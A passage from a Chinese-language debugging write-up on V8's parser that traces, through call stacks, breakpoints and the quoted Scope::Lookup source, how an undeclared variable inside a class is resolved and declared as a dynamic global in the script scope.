libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseClassPropertyDefinition(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ParserBase<v8::internal::Parser>::ClassInfo * class_info, v8::internal::ParserBase<v8::internal::Parser>::ParsePropertyInfo * prop_info, bool has_extends) (src/parsing/parser-base.h:2392)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseClassLiteral(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::Scope * outer_scope, v8::internal::ParserBase<v8::internal::Parser>::IdentifierT name, v8::internal::Scanner::Location class_name_location, bool name_is_strict_reserved, int class_token_pos) (src/parsing/parser-base.h:4754)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseClassExpression(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::Scope * outer_scope) (src/parsing/parser-base.h:4690)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2021)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseMemberExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3696)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLeftHandSideExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3420)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePostfixExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3387)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseUnaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3377)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBinaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this, int prec) (src/parsing/parser-base.h:3259)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLogicalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3114)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3099)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2914)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2055)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2990)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2078)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2006)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseMemberExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3696)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLeftHandSideExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3420)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePostfixExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3387)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseUnaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3377)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBinaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this, int prec) (src/parsing/parser-base.h:3259)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLogicalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3114)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3099)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2914)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2078)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2006)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseMemberExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3696)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLeftHandSideExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3420)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParsePostfixExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3387)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseUnaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3377)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBinaryExpression(v8::internal::ParserBase<v8::internal::Parser> * this, int prec) (src/parsing/parser-base.h:3259)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseLogicalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3114)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseConditionalExpression(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:3099)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseAssignmentExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2914)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseExpressionCoverGrammar(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:2078)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseExpressionOrLabelledStatement(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels, v8::internal::AllowLabelledFunctionStatement allow_function) (src/parsing/parser-base.h:5482)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatement(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels, v8::internal::AllowLabelledFunctionStatement allow_function) (src/parsing/parser-base.h:5325)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatementListItem(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:5220)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBlock(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::Scope * block_scope) (src/parsing/parser-base.h:5350)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBlock(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels) (src/parsing/parser-base.h:5372)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatement(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels, v8::internal::AllowLabelledFunctionStatement allow_function) (src/parsing/parser-base.h:5256)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatementListItem(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:5220)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBlock(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::Scope * block_scope) (src/parsing/parser-base.h:5350)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseBlock(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels) (src/parsing/parser-base.h:5372)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatement(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels, v8::internal::AllowLabelledFunctionStatement allow_function) (src/parsing/parser-base.h:5256)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatement(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels) (src/parsing/parser-base.h:1318)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStandardForLoop(v8::internal::ParserBase<v8::internal::Parser> * this, int stmt_pos, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels, v8::internal::ParserBase<v8::internal::Parser>::ExpressionT * cond, v8::internal::ParserBase<v8::internal::Parser>::StatementT * next, v8::internal::ParserBase<v8::internal::Parser>::StatementT * body) (src/parsing/parser-base.h:6336)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStandardForLoopWithLexicalDeclarations(v8::internal::ParserBase<v8::internal::Parser> * this, int stmt_pos, v8::internal::ParserBase<v8::internal::Parser>::StatementT init, v8::internal::ParserBase<v8::internal::Parser>::ForInfo * for_info, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels) (src/parsing/parser-base.h:6271)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseForStatement(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels) (src/parsing/parser-base.h:6058)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatement(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ZonePtrList<v8::internal::AstRawString const> * labels, v8::internal::ZonePtrList<v8::internal::AstRawString const> * own_labels, v8::internal::AllowLabelledFunctionStatement allow_function) (src/parsing/parser-base.h:5270)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatementListItem(v8::internal::ParserBase<v8::internal::Parser> * this) (src/parsing/parser-base.h:5220)
libv8.so!v8::internal::ParserBase<v8::internal::Parser>::ParseStatementList(v8::internal::ParserBase<v8::internal::Parser> * this, v8::internal::ParserBase<v8::internal::Parser>::StatementListT * body, v8::internal::Token::Value end_token) (src/parsing/parser-base.h:5169)
libv8.so!v8::internal::Parser::DoParseProgram(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::ParseInfo * info) (src/parsing/parser.cc:654)
libv8.so!v8::internal::Parser::ParseProgram(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::Script> script, v8::internal::ParseInfo * info, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info) (src/parsing/parser.cc:561)
libv8.so!v8::internal::parsing::ParseProgram(v8::internal::ParseInfo * info, v8::internal::Handle<v8::internal::Script> script, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info, v8::internal::Isolate * isolate, v8::internal::parsing::ReportStatisticsMode mode) (src/parsing/parsing.cc:58)
libv8.so!v8::internal::(anonymous namespace)::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:1491)
libv8.so!v8::internal::Compiler::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:2681)
libv8.so!v8::internal::(anonymous namespace)::CompileScriptOnMainThread(const v8::internal::UnoptimizedCompileFlags flags, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::internal::NativesFlag natives, v8::Extension * extension, v8::internal::Isolate * isolate, v8::internal::MaybeHandle<v8::internal::Script> maybe_script, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:3269)
libv8.so!v8::internal::(anonymous namespace)::GetSharedFunctionInfoForScriptImpl(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::Extension * extension, v8::internal::AlignedCachedData * cached_data, v8::internal::BackgroundDeserializeTask * deserialize_task, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3555)
libv8.so!v8::internal::Compiler::GetSharedFunctionInfoForScript(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3580)
libv8.so!v8::ScriptCompiler::CompileUnboundInternal(v8::Isolate * v8_isolate, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2687)
libv8.so!v8::ScriptCompiler::Compile(v8::Local<v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2716)
v8::(anonymous namespace)::Compile<v8::Script>(v8::Local<class v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options) (src/d8/d8.cc:615)
v8::Shell::CompileString<v8::Script>(v8::Isolate * isolate, v8::Local<class v8::Context> context, v8::Local<class v8::String> source, const v8::ScriptOrigin & origin) (src/d8/d8.cc:650)
v8::Shell::ExecuteString(v8::Isolate * isolate, v8::Local<class v8::String> source, v8::Local<class v8::String> name, v8::Shell::PrintResult print_result, v8::Shell::ReportExceptions report_exceptions, v8::Shell::ProcessMessageQueue process_message_queue) (src/d8/d8.cc:855)
v8::SourceGroup::Execute(v8::SourceGroup * this, v8::Isolate * isolate) (src/d8/d8.cc:4431)
v8::Shell::RunMain(v8::Isolate * isolate, bool last_run) (src/d8/d8.cc:5163)
v8::Shell::Main(int argc, char ** argv) (src/d8/d8.cc:5946)
main(int argc, char ** argv) (src/d8/d8.cc:6038)
libc.so.6!__libc_start_call_main(int (*)(int, char **, char **) main, int argc, char ** argv) (out/x64.debug/sysdeps/nptl/libc_start_call_main.h:58)
libc.so.6!__libc_start_main_impl(int (*)(int, char **, char **) main, int argc, char ** argv, int (*)(int, char **, char **) init, void (*)(void) fini, void (*)(void) rtld_fini, void * stack_end) (out/x64.debug/csu/libc-start.c:392)
_start (Unknown Source:0)

Variable Allocation

Scope::ResolveTo

我們在src/ast/scopes.cc:2349proxy->BindTo(var)調用處下斷,條件是var.name_.literal_bytes_.start_[0] == 'a' && var.name_.literal_bytes_.start_[1] == 'a' && var.name_.literal_bytes_.length_ == 2

image

我們觀察其調用棧,發現Scope::ResolveVariable 函數中的Variable* var = Lookup<kParsedScope>(proxy, this, nullptr) 是查找VariableProxy的對應Variable操作。因此,我們在對應的源碼位置src/ast/scopes.cc:2281 處下斷點,條件是proxy.raw_name_.literal_bytes_.start_[0] == 'a' && proxy.raw_name_.literal_bytes_.start_[1] == 'a' && proxy.raw_name_.literal_bytes_.length_ == 2

調用棧:

libv8.so!v8::internal::Scope::ResolveTo(v8::internal::Scope * this, v8::internal::VariableProxy * proxy, v8::internal::Variable * var) (src/ast/scopes.cc:2349)
libv8.so!v8::internal::Scope::ResolveVariable(v8::internal::Scope * this, v8::internal::VariableProxy * proxy) (src/ast/scopes.cc:2283)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2383)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::DeclarationScope::AllocateVariables(v8::internal::DeclarationScope * this, v8::internal::ParseInfo * info) (src/ast/scopes.cc:1367)
libv8.so!v8::internal::DeclarationScope::Analyze(v8::internal::ParseInfo * info) (src/ast/scopes.cc:714)
libv8.so!v8::internal::Parser::PostProcessParseResult<v8::internal::Isolate>(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::ParseInfo * info, v8::internal::FunctionLiteral * literal) (src/parsing/parser.cc:721)
libv8.so!v8::internal::Parser::ParseProgram(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::Script> script, v8::internal::ParseInfo * info, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info) (src/parsing/parser.cc:563)
libv8.so!v8::internal::parsing::ParseProgram(v8::internal::ParseInfo * info, v8::internal::Handle<v8::internal::Script> script, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info, v8::internal::Isolate * isolate, v8::internal::parsing::ReportStatisticsMode mode) (src/parsing/parsing.cc:58)
libv8.so!v8::internal::(anonymous namespace)::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:1491)
libv8.so!v8::internal::Compiler::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:2681)
libv8.so!v8::internal::(anonymous namespace)::CompileScriptOnMainThread(const v8::internal::UnoptimizedCompileFlags flags, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::internal::NativesFlag natives, v8::Extension * extension, v8::internal::Isolate * isolate, v8::internal::MaybeHandle<v8::internal::Script> maybe_script, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:3269)
libv8.so!v8::internal::(anonymous namespace)::GetSharedFunctionInfoForScriptImpl(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::Extension * extension, v8::internal::AlignedCachedData * cached_data, v8::internal::BackgroundDeserializeTask * deserialize_task, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3555)
libv8.so!v8::internal::Compiler::GetSharedFunctionInfoForScript(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3580)
libv8.so!v8::ScriptCompiler::CompileUnboundInternal(v8::Isolate * v8_isolate, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2687)
libv8.so!v8::ScriptCompiler::Compile(v8::Local<v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2716)
v8::(anonymous namespace)::Compile<v8::Script>(v8::Local<class v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options) (src/d8/d8.cc:615)
v8::Shell::CompileString<v8::Script>(v8::Isolate * isolate, v8::Local<class v8::Context> context, v8::Local<class v8::String> source, const v8::ScriptOrigin & origin) (src/d8/d8.cc:650)
v8::Shell::ExecuteString(v8::Isolate * isolate, v8::Local<class v8::String> source, v8::Local<class v8::String> name, v8::Shell::PrintResult print_result, v8::Shell::ReportExceptions report_exceptions, v8::Shell::ProcessMessageQueue process_message_queue) (src/d8/d8.cc:855)
v8::SourceGroup::Execute(v8::SourceGroup * this, v8::Isolate * isolate) (src/d8/d8.cc:4431)
v8::Shell::RunMain(v8::Isolate * isolate, bool last_run) (src/d8/d8.cc:5163)
v8::Shell::Main(int argc, char ** argv) (src/d8/d8.cc:5946)
main(int argc, char ** argv) (src/d8/d8.cc:6038)
libc.so.6!__libc_start_call_main(int (*)(int, char **, char **) main, int argc, char ** argv) (out/x64.debug/sysdeps/nptl/libc_start_call_main.h:58)
libc.so.6!__libc_start_main_impl(int (*)(int, char **, char **) main, int argc, char ** argv, int (*)(int, char **, char **) init, void (*)(void) fini, void (*)(void) rtld_fini, void * stack_end) (out/x64.debug/csu/libc-start.c:392)
_start (Unknown Source:0)
Scope::Lookup

該函數是Variable創建的關鍵函數,我們對其進行詳細的分析和調試。

源碼
template <Scope::ScopeLookupMode mode>
Variable* Scope::Lookup(VariableProxy* proxy, Scope* scope,
                        Scope* outer_scope_end, Scope* cache_scope,
                        bool force_context_allocation) {
  // If we have already passed the cache scope in earlier recursions, we should
  // first quickly check if the current scope uses the cache scope before
  // continuing.
  if (mode == kDeserializedScope &&
      scope->deserialized_scope_uses_external_cache()) {
    Variable* var = cache_scope->variables_.Lookup(proxy->raw_name());
    if (var != nullptr) return var;
  }

  while (true) { // 大循環
    DCHECK_IMPLIES(mode == kParsedScope, !scope->is_debug_evaluate_scope_);
    // Short-cut: whenever we find a debug-evaluate scope, just look everything
    // up dynamically. Debug-evaluate doesn't properly create scope info for the
    // lookups it does. It may not have a valid 'this' declaration, and anything
    // accessed through debug-evaluate might invalidly resolve to
    // stack-allocated variables.
    // TODO(yangguo): Remove once debug-evaluate creates proper ScopeInfo for
    // the scopes in which it's evaluating.
    if (mode == kDeserializedScope &&
        V8_UNLIKELY(scope->is_debug_evaluate_scope_)) {
      DCHECK(scope->deserialized_scope_uses_external_cache() ||
             scope == cache_scope);
      return cache_scope->NonLocal(proxy->raw_name(), VariableMode::kDynamic);
    }

    // Try to find the variable in this scope.
    Variable* var;
    if (mode == kParsedScope) {
      var = scope->LookupLocal(proxy->raw_name());
    } else {
      DCHECK_EQ(mode, kDeserializedScope);
      bool external_cache = scope->deserialized_scope_uses_external_cache();
      if (!external_cache) {
        // Check the cache on each deserialized scope, up to the main cache
        // scope when we get to it (we may still have deserialized scopes
        // in-between the initial and cache scopes so we can't just check the
        // cache before the loop).
        var = scope->variables_.Lookup(proxy->raw_name());
        if (var != nullptr) return var;
      }
      var = scope->LookupInScopeInfo(proxy->raw_name(),
                                     external_cache ? cache_scope : scope);
    }

    // We found a variable and we are done. (Even if there is an 'eval' in this
    // scope which introduces the same variable again, the resulting variable
    // remains the same.)
    //
    // For sloppy eval though, we skip dynamic variable to avoid resolving to a
    // variable when the variable and proxy are in the same eval execution. The
    // variable is not available on subsequent lazy executions of functions in
    // the eval, so this avoids inner functions from looking up different
    // variables during eager and lazy compilation.
    //
    // TODO(leszeks): Maybe we want to restrict this to e.g. lookups of a proxy
    // living in a different scope to the current one, or some other
    // optimisation.
    if (var != nullptr &&
        !(scope->is_eval_scope() && var->mode() == VariableMode::kDynamic)) {
      if (mode == kParsedScope && force_context_allocation &&
          !var->is_dynamic()) {
        var->ForceContextAllocation();
      }
      return var;
    }

    if (scope->outer_scope_ == outer_scope_end) break;

    DCHECK(!scope->is_script_scope());
    if (V8_UNLIKELY(scope->is_with_scope())) {
      return LookupWith(proxy, scope, outer_scope_end, cache_scope,
                        force_context_allocation);
    }
    if (V8_UNLIKELY(
            scope->is_declaration_scope() &&
            scope->AsDeclarationScope()->sloppy_eval_can_extend_vars())) {
      return LookupSloppyEval(proxy, scope, outer_scope_end, cache_scope,
                              force_context_allocation);
    }

    force_context_allocation |= scope->is_function_scope();
    scope = scope->outer_scope_; // 向上層作用域迭代

    // TODO(verwaest): Separate through AnalyzePartially.
    if (mode == kParsedScope && !scope->scope_info_.is_null()) {
      DCHECK_NULL(cache_scope);
      cache_scope = scope->GetNonEvalDeclarationScope();
      return Lookup<kDeserializedScope>(proxy, scope, outer_scope_end,
                                        cache_scope);
    }
  }

  // We may just be trying to find all free variables. In that case, don't
  // declare them in the outer scope.
  // TODO(marja): Separate Lookup for preparsed scopes better.
  if (mode == kParsedScope && !scope->is_script_scope()) {
    return nullptr;
  }

  // No binding has been found. Declare a variable on the global object.
  return scope->AsDeclarationScope()->DeclareDynamicGlobal(
      proxy->raw_name(), NORMAL_VARIABLE,
      mode == kDeserializedScope ? cache_scope : scope);
}

閱讀代碼,我們可以發現,整個函數基本上就是一個大循環:循環內部在當前的作用域中查找對應的變量。如果未查找到,就迭代至上層作用域繼續進行查找,直至沒有上層作用域為止。

aa變量實際上只在本次賦值中被用到。由于它沒有在任何一級作用域中被聲明,它應該被建立在腳本級作用域中。

第一次變量查找及分配

首次進入Scope::Lookup時,對應的scope作用域類型是v8::internal::CLASS_SCOPE ,也就代表該作用域是class b3所對應的作用域。

image

引擎首先嘗試在當前作用域中查找變量的聲明,但實際上并不存在。

image

因此,引擎將當前作用域賦值為其更高的一級作用域:

image

因為每一層作用域中都不存在對變量aa的定義,因此當前作用域不斷向上迭代,直到最頂層的腳本級作用域,仍然沒有發現aa的定義。因此,在腳本級作用域定義一個DynamicGlobal變量。這是正常情況。

image

image

調用棧:

libv8.so!v8::internal::DeclarationScope::DeclareDynamicGlobal(v8::internal::DeclarationScope * this, const v8::internal::AstRawString * name, v8::internal::VariableKind kind, v8::internal::Scope * cache) (src/ast/scopes.cc:1234)
libv8.so!v8::internal::Scope::Lookup<(v8::internal::Scope::ScopeLookupMode)0>(v8::internal::VariableProxy * proxy, v8::internal::Scope * scope, v8::internal::Scope * outer_scope_end, v8::internal::Scope * cache_scope, bool force_context_allocation) (src/ast/scopes.cc:2174)
libv8.so!v8::internal::Scope::ResolveVariable(v8::internal::Scope * this, v8::internal::VariableProxy * proxy) (src/ast/scopes.cc:2281)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2383)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::DeclarationScope::AllocateVariables(v8::internal::DeclarationScope * this, v8::internal::ParseInfo * info) (src/ast/scopes.cc:1367)
libv8.so!v8::internal::DeclarationScope::Analyze(v8::internal::ParseInfo * info) (src/ast/scopes.cc:714)
libv8.so!v8::internal::Parser::PostProcessParseResult<v8::internal::Isolate>(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::ParseInfo * info, v8::internal::FunctionLiteral * literal) (src/parsing/parser.cc:721)
libv8.so!v8::internal::Parser::ParseProgram(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::Script> script, v8::internal::ParseInfo * info, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info) (src/parsing/parser.cc:563)
libv8.so!v8::internal::parsing::ParseProgram(v8::internal::ParseInfo * info, v8::internal::Handle<v8::internal::Script> script, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info, v8::internal::Isolate * isolate, v8::internal::parsing::ReportStatisticsMode mode) (src/parsing/parsing.cc:58)
libv8.so!v8::internal::(anonymous namespace)::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::MaybeHandle<v8::internal::ScopeInfo> maybe_outer_scope_info, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:1491)
libv8.so!v8::internal::Compiler::CompileToplevel(v8::internal::ParseInfo * parse_info, v8::internal::Handle<v8::internal::Script> script, v8::internal::Isolate * isolate, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:2681)
libv8.so!v8::internal::(anonymous namespace)::CompileScriptOnMainThread(const v8::internal::UnoptimizedCompileFlags flags, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::internal::NativesFlag natives, v8::Extension * extension, v8::internal::Isolate * isolate, v8::internal::MaybeHandle<v8::internal::Script> maybe_script, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:3269)
